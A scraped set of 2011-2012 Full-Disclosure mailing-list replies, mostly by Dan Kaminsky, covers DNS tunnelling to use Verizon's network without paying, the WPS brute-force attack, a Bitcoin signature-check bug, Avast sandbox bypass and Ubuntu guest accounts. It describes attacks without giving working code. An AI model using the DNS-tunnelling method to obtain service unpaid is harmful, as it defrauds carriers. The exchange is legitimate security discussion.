 This comes in handy when travelling, I also found a few places where\nICMP tunnelling works well.\n\n\nOn 7/10/2011 6:35 PM, Dan Kaminsky wrote:\n\nWorks mostly everywhere.  It's apparently enough of a pain in the butt\nto deal with, and abused so infrequently, that it's left alone.\n\nOn Fri, Oct 7, 2011 at 3:32 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
I recently noticed that you can tunnel TCP through DNS (I used iodine)\nto penetrate Verizon Wireless' firewall.  You can connect, and if you can\nhold the connection long enough to make a DNS tunnel, then the connection\nstays up, then use SSH -D to create a proxy server for your traffic. Bottom\nline is, you can use the internet without paying. I made a video of it.  It\ncan be seen here:\nhttp://www.youtube.com/user/Oxagast?blend=2&ob=5#p/u/0/X6oWESQMVd8 I\ntried to contact Verizon on their security blog about it a few weeks ago at\nhttp://securityblog.verizonbusiness.com/ however, I have not had a\nresponse.  This technique still works as of this posting.  Maybe this will\nhelp them get their act together ;-)\n\n --oxagast\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Nov/293", "subject": "Re: Ubuntu 11.10 now unsecure by default", "index_author": "Dan Kaminsky (Nov 18)", "frm": "Dan Kaminsky ", "date": "Fri, 18 Nov 2011 06:10:00 -0800", "body_html": "\n
On Fri, Nov 18, 2011 at 5:01 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Thu, 17 Nov 2011 15:53:41 CST, C de-Avillez said:\n\n
There is no guest account on an Ubuntu server, so at least there\nthis is not a real/perceived risk.\n
\n\nAnd nobody's *ever* installed the desktop version on a server because they\ndidn't\nknow any better, especially from Ubuntu's target audience.  Gotcha. ;)\n\n
\n\nOK, seriously.  If you're sitting in front of a machine that's presenting\nyou a login prompt, you've got enough privileges to insert a bootable\nUSB/CD and pull all the data / make yourself an account (FDE/Bios PW\nnotwithstanding).\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Nov/370", "subject": "Re: Ubuntu 11.10 now unsecure by default", "index_author": "Dan Kaminsky (Nov 21)", "frm": "Dan Kaminsky ", "date": "Mon, 21 Nov 2011 10:03:21 -0800", "body_html": "\n
On Mon, Nov 21, 2011 at 9:58 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Mon, 21 Nov 2011 14:12:38 GMT, Darren Martyn said:\n\n
 Valdis - I did not know the source had gotten THAT big, still, will be\ninteresting to explore parts of it that interest me - the TCP stack for a\nstart... Also, thanks for the advice on the book :)\n
\n\nAs of this morning, Linus's git tree had:\n\n[/usr/src/linux] find * -type f | xargs cat | wc -l\n14993265\n\nand we're still at 3.2.0-rc2.  Almost certainly will tip over 15M by the\ntime Linus\nlets 3.2.0 escape.  The linux-next tree (which will become 3.3) is already\nsitting at\nsomewhere north of 15.3M lines of code.  Yes, we're averaging 100K lines\nof code\na month.\n\n\n
15.3M lines of code != 15.3M lines of code in use on any one system !=\n15.3M lines of code that can ever involve a security boundary.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Nov/312", "subject": "Re: Ubuntu 11.10 now unsecure by default", "index_author": "Dan Kaminsky (Nov 19)", "frm": "Dan Kaminsky ", "date": "Sat, 19 Nov 2011 11:36:47 -0800", "body_html": "\n
What is the security differential between su and sudo bash?\n\nSent from my iPhone\n\nOn Nov 19, 2011, at 6:15 AM, james () zero-internet org uk wrote:\n\n
I'll second that; the isp I work at has a sizeable ubuntu customer base and these are customers who have made an \ninformed decision.\n\nNow; let's consider ubuntu's inherited security from debian such as configuring a 'mortal account' (admittedly can be \nignored in the preseed) and then the lack of perms on su; must use sudo.\n\nThis is a distro that is newbie friendly but is not designed specifically for them.\n\nUnfortunately, though, you make a distro with simplified tasks (printer installation a fantastic example) and people, \nespecially long term linuxers- though I ought to be included I guess, remember back all too easily to when everything \nwas an uphill struggle: "what do you mean I don't have to compile this as a flipping module? That's not freedom!" \nBeing all too familiar.\n\nJust my tuppence worth anyway.\n\nSent from my BlackBerry\u00c2\u00ae wireless device\n\n-----Original Message-----\nFrom: Johan Nestaas <johannestaas () gmail com>\nSender: full-disclosure-bounces () lists grok org uk\nDate: Fri, 18 Nov 2011 12:04:46 \nTo: Olivier<feuille () bibibox fr>\nCc: <full-disclosure () lists grok org uk>\nSubject: Re: [Full-disclosure] Ubuntu 11.10 now unsecure by default\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Nov/314", "subject": "Re: Ubuntu 11.10 now unsecure by default", "index_author": "Dan Kaminsky (Nov 19)", "frm": "Dan Kaminsky ", "date": "Sat, 19 Nov 2011 11:54:33 -0800", "body_html": "\n
Er, sudo bash gives you /dev/kmem, access to the hard drive block device...\n\nSent from my iPhone\n\nOn Nov 19, 2011, at 11:44 AM, james () zero-internet org uk wrote:\n\n
Effective user id as a short answer; compare sudo whoami and su - whoami\n\n\nSent from my BlackBerry\u00c2\u00ae wireless device\n\n-----Original Message-----\nFrom: Dan Kaminsky <dan () doxpara com>\nDate: Sat, 19 Nov 2011 11:36:47 \nTo: james () zero-internet org uk<james () zero-internet org uk>\nCc: Johan Nestaas<johannestaas () gmail com>; full-disclosure-bounces () lists grok org uk<full-disclosure-bounces () \nlists grok org uk>; Olivier<feuille () bibibox fr>; full-disclosure () lists grok org uk<full-disclosure () lists \ngrok org uk>\nSubject: Re: [Full-disclosure] Ubuntu 11.10 now unsecure by default\n\nWhat is the security differential between su and sudo bash?\n\nSent from my iPhone\n\nOn Nov 19, 2011, at 6:15 AM, james () zero-internet org uk wrote:\n\n
I'll second that; the isp I work at has a sizeable ubuntu customer base and these are customers who have made an \ninformed decision.\n\nNow; let's consider ubuntu's inherited security from debian such as configuring a 'mortal account' (admittedly can \nbe ignored in the preseed) and then the lack of perms on su; must use sudo.\n\nThis is a distro that is newbie friendly but is not designed specifically for them.\n\nUnfortunately, though, you make a distro with simplified tasks (printer installation a fantastic example) and \npeople, especially long term linuxers- though I ought to be included I guess, remember back all too easily to when \neverything was an uphill struggle: "what do you mean I don't have to compile this as a flipping module? That's not \nfreedom!" Being all too familiar.\n\nJust my tuppence worth anyway.\n\nSent from my BlackBerry\u00c2\u00ae wireless device\n\n-----Original Message-----\nFrom: Johan Nestaas <johannestaas () gmail com>\nSender: full-disclosure-bounces () lists grok org uk\nDate: Fri, 18 Nov 2011 12:04:46 \nTo: Olivier<feuille () bibibox fr>\nCc: <full-disclosure () lists grok org uk>\nSubject: Re: [Full-disclosure] Ubuntu 11.10 now unsecure by default\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Nov/326", "subject": "Re: Ubuntu 11.10 now unsecure by default", "index_author": "Dan Kaminsky (Nov 19)", "frm": "Dan Kaminsky ", "date": "Sat, 19 Nov 2011 20:01:01 -0800", "body_html": "\n
Blocking of unpassworded accounts in sshd_config, IIRC.\n\nSent from my iPhone\n\nOn Nov 19, 2011, at 7:35 PM, Robert Kim App and Facebook Marketing <evdo.hsdpa () gmail com> wrote:\n\n
Ummm... any idea why remote SSH is not possible?!?!? o_O\nkinna weird!\n\nOn Thu, Nov 17, 2011 at 4:23 AM, Olivier <feuille () bibibox fr> wrote:\nHi list,\n\nUnfortunately remote SSH connection are not allowed, I suggest guest\naccount to be silently add in /etc/shadow for 12.04. It could be the\nbest Ubuntu April fool ever.\n\nMaybe calibre could also be installed by default, for a root shell out\nof the box.\n\n\n\n-- \nRobert Q Kim\nFacebook Marketing Strategies and Web Consultant\nhttp://sparkah.com/2010/08/25/facebook-marketing-strategies-from-nyc-and-los-angeles-most-devious-minds-2/\n2611 S Coast Highway\nSan Diego, CA 92007\n310 598 1606\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Dec/408", "subject": "Re: OT: Firefox question / poll", "index_author": "Dan Kaminsky (Dec 22)", "frm": "Dan Kaminsky ", "date": "Thu, 22 Dec 2011 10:48:43 -0500", "body_html": "\n
On Tue, Dec 20, 2011 at 7:00 PM, coderman <coderman () gmail com> wrote:\n\n
On Tue, Dec 20, 2011 at 9:40 AM, Charles Morris <cmorris () cs odu edu>\nwrote:\n
I'm curious what everyone's opinion is on the following question...\nesp. to any FF dev people on list:\n\nDo you think that the Firefox "warning: unresponsive script" is meant\nas a security feature or a usability feature?\n
\n\nanyone who said "security feature" is an idiot and/or not thinking clearly.\nyour security is harmed by malicious script in milliseconds.\nthis does nothing to protect you from anything.*\n\nit is purely a usability feature in response to shitty developers\nwriting shitty webapps leading to excessively long script execution\n(which can thus be terminated if desired once this warning presents)\n\n\n* someone may say "availability is a security requirement!". true, but\nthen a modem link to web 2.0 is a DoS, and there's simply no point\ngoing down that road...\n\nAbsolutely correct.  There's effectively an infinite number of temporary\n
DoS attacks against browsers.  They're fragile enough in this space that\n"exploits" are *accidentally* stumbled upon by devs.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Dec/485", "subject": "Re: WiFi Protected Setup attack code posted", "index_author": "Dan Kaminsky (Dec 29)", "frm": "Dan Kaminsky ", "date": "Thu, 29 Dec 2011 13:03:00 +0100", "body_html": "\n
WPS could have been fine, in that it would have forced an online attack that took an infeasible amount of time. \n\nIt just didn't accomplish that.\n\nMy thinking is that they'll get this property back into WPS with some sort of blinding of the half-break state, but I \nhaven't dug into the vuln enough to be sure. \n\nSent from my iPhone\n\nOn Dec 29, 2011, at 11:38 AM, Gage Bystrom <themadichib0d () gmail com> wrote:\n\n
Is be surprised if anyone related to security actually thought WPS was remotely safe, bout time some actually \nreleased a public tool to brute it though :P\n\nOn Dec 29, 2011 2:02 AM, "Craig Heffner" <cheffner () devttys0 com> wrote:\nYesterday, Stefan published a paper describing a vulnerability in WPS that allows attackers to recover WPA/WPA2 keys \nin a matter of hours (http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/).\n\nCode has been posted to implement the attack: \nhttp://www.tacnetsol.com/news/2011/12/28/cracking-wifi-protected-setup-with-reaver.html\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Jan/264", "subject": "Re: [CVE-2012-0207] Linux IGMP Remote Denial Of\tService", "index_author": "Dan Kaminsky (Jan 17)", "frm": "Dan Kaminsky ", "date": "Tue, 17 Jan 2012 16:14:46 -0500", "body_html": "\n
LAN-only, no?\n\nSent from my iPhone\n\nOn Jan 17, 2012, at 4:11 PM, "HI-TECH ." <isowarez.isowarez.isowarez () googlemail com> wrote:\n\n
Demonstration of the Exploit:\nhttp://www.youtube.com/watch?v=78nAxh70yZE (thanks ClsHack)\n\nsee attached content\n\n/Kingcope\n<undeadattack.c>\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Jan/270", "subject": "Re: Avast Antivirus", "index_author": "Dan Kaminsky (Jan 18)", "frm": "Dan Kaminsky ", "date": "Wed, 18 Jan 2012 05:18:29 -0500", "body_html": "\n
Nothing to be done, really.  Most users run as admin.\n\nOn Tue, Jan 17, 2012 at 4:19 PM, Floste <floste () gmx de> wrote:\n\n
Hello,\n\nAvast Antivirus also comes with sandbox and a "SafeZone". But both can\nbe circumvented using simple dll-injection and they seem to do nothing\nabout it: http://forum.avast.com/index.php?topic=82291.0\n\nMaybe this post here will encourage them to fix it.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Jan/419", "subject": "Re: VNC viewers: Clipboard of host automatically sent to remote machine", "index_author": "Dan Kaminsky (Jan 24)", "frm": "Dan Kaminsky ", "date": "Tue, 24 Jan 2012 18:09:32 -0500", "body_html": "\n
Those who try to manage potentially malicious servers do so over IP KVM, in\nwhich the foreign server basically gets only inbound Keyboard and Mouse and\noutbound uncompressed pixels.\n\nAnything more is untrusted, for a reason.\n\nOn Tue, Jan 24, 2012 at 5:50 PM, Nick FitzGerald\n<nick () virus-l demon co uk>wrote:\n\n
Ben Bucksch wrote:\n\n
Even then, that is not sufficient, as explained in length.\n
\n\nNo -- what you "explained in length" _and_ seem impervious to\nunderstanding, despite a couple of respondents explaining it quite\nclearly, is that you have chosen to perform ongoing "sensitive" work in\nan environment where doing so is, at best, represents a highly\nquestionable security stance.\n\n_Part_ of what contributes to that questionability is your choice to\nmore-or-less continuously run an application that you should always\nhave known leaks access to the clipboard of what you oddly choose to\ndescribe as a "trusted desktop" (odd, because you should know that\nexposing the host clipboard to the client is common -- in fact,\nprobably the standard default -- functionality of VNC clients).\n\nThat your chosen/preferred/whatever VNC client does not allow you to\nturn off, or otherwise modify or monitor this functionality is not a\nsecurity vulnerability or bug, as you seem intent on portraying it.  It\nmay be an undesirable feature (or, more accurately, lack of a feature)\nbut don't you have other VNC clients to choose from?  Must you use this\nparticular VNC client?  If so and this method of working is so critical\nto you, should you not choose a different platform for your "trusted\ndesktop" and run a more suitably configurable VNC client?  Or, if your\nsensitive work is really that sensitive, should you not invest in a\nsecond machine for remotely monitoring/interacting with the the\nuntrusted, sandboxed applications you need to run, so that they really\nare securely separated (can we all say "air gap"?) from your more\n"sensitive" operations?  It would not have to be a very heavy-duty\nmachine -- a very low-end netbook style machine, or possibly even a\ncheap tablet-style device may more than suffice...\n\n...\n\nAnother part of that questionability is obvious to anyone with nous\nreading this list...\n\n\n\nRegards,\n\nNick FitzGerald\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/3", "subject": "Re: Fun with Bitcoin, or how an exploit can hide in plain sight", "index_author": "Dan Kaminsky (Feb 01)", "frm": "Dan Kaminsky ", "date": "Wed, 1 Feb 2012 17:27:44 -0500", "body_html": "\n
Welcome to why BitCoin is so impressive.  You've got this app.  It's wide\nopen to the Internet, to the point where it opens up firewall rules if\nnecessary.  It's running some home grown network protocol, that ostensibly\nships little executable programs around.  It's written in C++, the\nnon-memory safe language you shoot your foot off with.  If you break it,\nyou get all the money.\n\nGiven all those anticonstraints, you're *still* left mucking around with\nincredibly subtle design bugs, like my deanonymization through being the\nmajority of the cloud, or Microsoft's Red Balloon attack in which they\n"hoard" transaction information that pays a large fee, or your (really\ncool) exploit against signature checking optimization.\n\nIt's a fun bug you found, and I'm glad its fixed, but oh man is it hard to\nexploit, and at the point there's a 51% attacker, the entire system has\nalready fallen apart (if for no other reason than the 51% attacker can\ncensor and even reverse arbitrary transactions by creating the longer block\nchain, both by refusing to include transactions, and by assigning to\nhimself the initial coins others might have thought they'd mined).\n\nGreat work though!\n\nOn Wed, Feb 1, 2012 at 10:05 AM, Aidan Thornton <makosoft () googlemail com>wrote:\n\n
So most people on here have probably heard of Bitcoin from somewhere,\nand most of you have probably got tired of it - but bear with me\nbecause this is kind of entertaining. For those of you that have been\nstuck in a darkened room with a disassembler and no internet access\nfor the past few months, Bitcoin's a clever digital currency that\nmanages to solve the problem of someone spending the same money twice\nwithout needing any kind of central trusted authority. It does this by\nusing a variant of hash-cash to make rewriting the history of past\ntransactions expensive.\n\nNow this means that someone with more than half the total compute\npower can launch certain attacks - they're listed on the Bitcoin wiki\nat\nhttps://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power\n- but even they aren't meant to have total control. In particular,\nthey're not meant to be able to spend other people's money because\ndoing so requires a signature from their private key:\n\n"The attacker can't: Send coins that never belonged to him"\n\nFor several months that claim has been *false* as a result of this\ncommit by the lead Bitcoin developer:\n\nhttps://github.com/bitcoin/bitcoin/commit/b14bd4df58171454c2aa580ffad94982943483f5\n\nNow, while obviously that commit is doing something slightly risky,\nthere's a nice reassuring comment from him in the code explaining\nexactly why it's not actually a security risk:\n\n// Skip ECDSA signature verification when connecting blocks\n(fBlock=true) during initial download\n// (before the last blockchain checkpoint). This is safe because block\nmerkle hashes are\n// still computed and checked, and any change will be caught at the\nnext checkpoint.\n\nIt's a very convincing explanation to anyone that understands Bitcoin.\nYou can only really add a blockchain checkpoint if all the nodes agree\nthat the chain up to that point is valid - otherwise things will break\nin a fairly spectacular and obvious way - so a whole bunch of other\nBitcoin nodes run by many independent people will already have\nverified the ECDSA signatures. There's even a good justification for\nmaking the change. Initial blockchain downloads are far too slow which\ndiscourages new users, and ECDSA signature verification is one of the\nslowest parts.\n\nUnfortunately the comment is fatally wrong. Even more scarily, there's\nno reason at all to suspect this from the commit diff, which is\nprobably why no-one noticed anything was amiss when it was committed.\nIf you take a look at the actual definition of IsInitialBlockDownload\nthere's actually *two* situations which it considers part of the\ninitial download. One of them is indeed being before the last\nblockchain checkpoint:\n\nif (pindexBest == NULL || nBestHeight <\nCheckpoints::GetTotalBlocksEstimate()) return true;\n\nThe other involves the timestamp included within the last block and\nhow recently it was received:\n\nreturn (GetTime() - nLastUpdate < 10 && pindexBest->GetBlockTime() <\nGetTime() - 24 * 60 * 60);\n\nSo, if we receive a block less than 10 seconds after the previous one\nand the previous block had a timestamp more than 24 hours in the past,\nwe don't bother to verify any of the ECDSA signatures in it and will\nallow it to include transactions that spend random people's Bitcoins!\n\nA powerful attacker could definitely exploit this; timestamps in the\nfuture are rejected and Bitcoin won't generally accept a version of\nhistory in which time goes backwards, but otherwise a 51% attacker can\nchoose whatever timestamps they like and can delay releasing their\nversion of the chain to meet the "less than 10 seconds" requirement.\nIt's a very expensive attack but far from impossible.\n\nBy full-disclosure standards this is actually old news; I disclosed it\nsemi-publicly to the Bitcoin developers about a month ago and they\ncommitted a fix back then, and there's even been a Bitcoin release\n0.5.2 since then which includes the fix (though only because one of\nthe other developers stubbornly insisted on creating a bugfix release\nfor other reasons - the head developer was strongly against it). All\nprevious 0.5.x releases were vulnerable and 0.6 hasn't been released\nyet. I only just got around to looking into how the vulnerability got\nin originally though and it doesn't appear anyone's really talked\nabout it.\n\nThis isn't a formal advisory either, more an example of how a\nvulnerability can easily be introduced by a seemingly innocuous commit\nand why the Bitcoin code needs more scrutiny.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/172", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 10)", "frm": "Dan Kaminsky ", "date": "Fri, 10 Feb 2012 13:11:07 -0500", "body_html": "\n
"Fixing a vulnerability like this with all the bureoucratic, QA and legal process wouldn't take no more than 2 weeks"\n\nIf bureaucratic, QA, and legal issues emerge, you can't even get the names of the people you need to speak to in less \nthan 2 weeks, let alone schedule a conference call. Fixing?  Heh.  \n\nAside from rate limiting WPS, there isn't much of a fix, and you can't turn it off either.\n\nSent from my iPhone\n\nOn Feb 10, 2012, at 2:40 AM, farthvader () hush ai wrote:\n\n
Don't buy Linksys Routers they are vulnerable to Wifi unProtected Setup Pin registrar Brute force attack.\nNo patch or workaround exist at the making of this post.\n\nVulnerable list and alleged patch availability:\nsource:http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&articleid=25154\n\n E1000      To Be Disclosed (aka we don't have idea)\n E1000 v2      To Be Disclosed\n E1000 v2.1      To Be Disclosed\n E1200 v1     early March\n E1200 v2     early March\n E1500     early March\n E1550     mid March\n E2000     To Be Disclosed\n E2100L     mid March\n E2500     early March\n E3000     To Be Disclosed \n E3200     early March\n E4200 v1     early March\n E4200 v2     To Be Disclosed\n M10     To Be Disclosed\n M20     To Be Disclosed\n M20 v2     To Be Disclosed\n RE1000     early March\n WAG120N     To Be Disclosed\n WAG160N     To Be Disclosed\n WAG160N v2     To Be Disclosed\n WAG310G     To Be Disclosed\n WAG320N     To Be Disclosed\n WAG54G2     To Be Disclosed\n WAP610N     To Be Disclosed\n WRT110     To Be Disclosed\n WRT120N     To Be Disclosed\n WRT160N v1     To Be Disclosed\n WRT160N v2     To Be Disclosed\n WRT160N v3     To Be Disclosed\n WRT160NL     To Be Disclosed\n WRT310N v1     To Be Disclosed\n WRT310N v2     To Be Disclosed\n WRT320N     To Be Disclosed\n WRT400N     To Be Disclosed\n WRT54G2 v1     To Be Disclosed\n WRT54G2 v1.3     To Be Disclosed\n WRT54G2 v1.5     To Be Disclosed\n WRT54GS2 v1     To Be Disclosed\n WRT610N v1     To Be Disclosed\n WRT610N v2     To Be Disclosed\n X2000     To Be Disclosed\n X2000 v2     To Be Disclosed\n X3000     To Be Disclosed\n\nThe question is why a big company like Cisco/Linksys didn't release a patch since almost 1 month and a half ?.\n\nWell i have circumstantial evidence that Cisco outsource some of their Linksys firmware routers to other companies \n(Arcadyan for example.) in some cases source code is only available through NDA's or not available at all. That's why \nthey are taking so long to release a fix to the WPS vulnerability. Fixing a vulnerability like this with all the \nbureoucratic, QA and legal process wouldn't take no more than 2 weeks. I found some GPL violations by the way but \nthis is beyond the scope of this message (obfuscating firmware it's useless you now).\n\nI apologize if i offended someone but IT security it's serious business specially if someone use your wifi to commit \ncrimes.\nThis vulnerability contains public and very easy to use exploit code, it's not a Denial of Service.\n\n\nFarth Vader.\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/178", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 10)", "frm": "Dan Kaminsky ", "date": "Fri, 10 Feb 2012 14:41:37 -0500", "body_html": "\n
According to the Reaver people, DD-WRT doesn't support WPS at all :)\n\nOn Fri, Feb 10, 2012 at 2:00 PM, Zach C. <fxchip () gmail com> wrote:\n\n
Solution: use DD-WRT? Or is that vulnerable too? (Or are there worse\nproblems? :))\nOn Feb 10, 2012 10:12 AM, "Dan Kaminsky" <dan () doxpara com> wrote:\n\n
"Fixing a vulnerability like this with all the bureoucratic, QA and legal\nprocess wouldn't take no more than 2 weeks"\n\nIf bureaucratic, QA, and legal issues emerge, you can't even get the\nnames of the people you need to speak to in less than 2 weeks, let alone\nschedule a conference call. Fixing?  Heh.\n\nAside from rate limiting WPS, there isn't much of a fix, and you can't\nturn it off either.\n\nSent from my iPhone\n\nOn Feb 10, 2012, at 2:40 AM, farthvader () hush ai wrote:\n\nDon't buy Linksys Routers they are vulnerable to Wifi unProtected Setup\nPin registrar Brute force attack.\nNo patch or workaround exist at the making of this post.\n\nVulnerable list and alleged patch availability:\nsource:http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&articleid=25154\n\n E1000      To Be Disclosed (aka we don't have idea)\n E1000 v2      To Be Disclosed\n E1000 v2.1      To Be Disclosed\n E1200 v1     early March\n E1200 v2     early March\n E1500     early March\n E1550     mid March\n E2000     To Be Disclosed\n E2100L     mid March\n E2500     early March\n E3000     To Be Disclosed\n E3200     early March\n E4200 v1     early March\n E4200 v2     To Be Disclosed\n M10     To Be Disclosed\n M20     To Be Disclosed\n M20 v2     To Be Disclosed\n RE1000     early March\n WAG120N     To Be Disclosed\n WAG160N     To Be Disclosed\n WAG160N v2     To Be Disclosed\n WAG310G     To Be Disclosed\n WAG320N     To Be Disclosed\n WAG54G2     To Be Disclosed\n WAP610N     To Be Disclosed\n WRT110     To Be Disclosed\n WRT120N     To Be Disclosed\n WRT160N v1     To Be Disclosed\n WRT160N v2     To Be Disclosed\n WRT160N v3     To Be Disclosed\n WRT160NL     To Be Disclosed\n WRT310N v1     To Be Disclosed\n WRT310N v2     To Be Disclosed\n WRT320N     To Be Disclosed\n WRT400N     To Be Disclosed\n WRT54G2 v1     To Be Disclosed\n WRT54G2 v1.3     To Be Disclosed\n WRT54G2 v1.5     To Be Disclosed\n WRT54GS2 v1     To Be Disclosed\n WRT610N v1     To Be Disclosed\n WRT610N v2     To Be Disclosed\n X2000     To Be Disclosed\n X2000 v2     To Be Disclosed\n X3000     To Be Disclosed\n\nThe question is why a big company like Cisco/Linksys didn't release a\npatch since almost 1 month and a half ?.\n\nWell i have circumstantial evidence that Cisco outsource some of their\nLinksys firmware routers to other companies (Arcadyan for example.) in some\ncases source code is only available through NDA's or not available at all.\nThat's why they are taking so long to release a fix to the WPS\nvulnerability. Fixing a vulnerability like this with all the bureoucratic,\nQA and legal process wouldn't take no more than 2 weeks. I found some GPL\nviolations by the way but this is beyond the scope of this message\n(obfuscating firmware it's useless you now).\n\nI apologize if i offended someone but IT security it's serious business\nspecially if someone use your wifi to commit crimes.\nThis vulnerability contains public and very easy to use exploit code,\nit's not a Denial of Service.\n\n\nFarth Vader.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
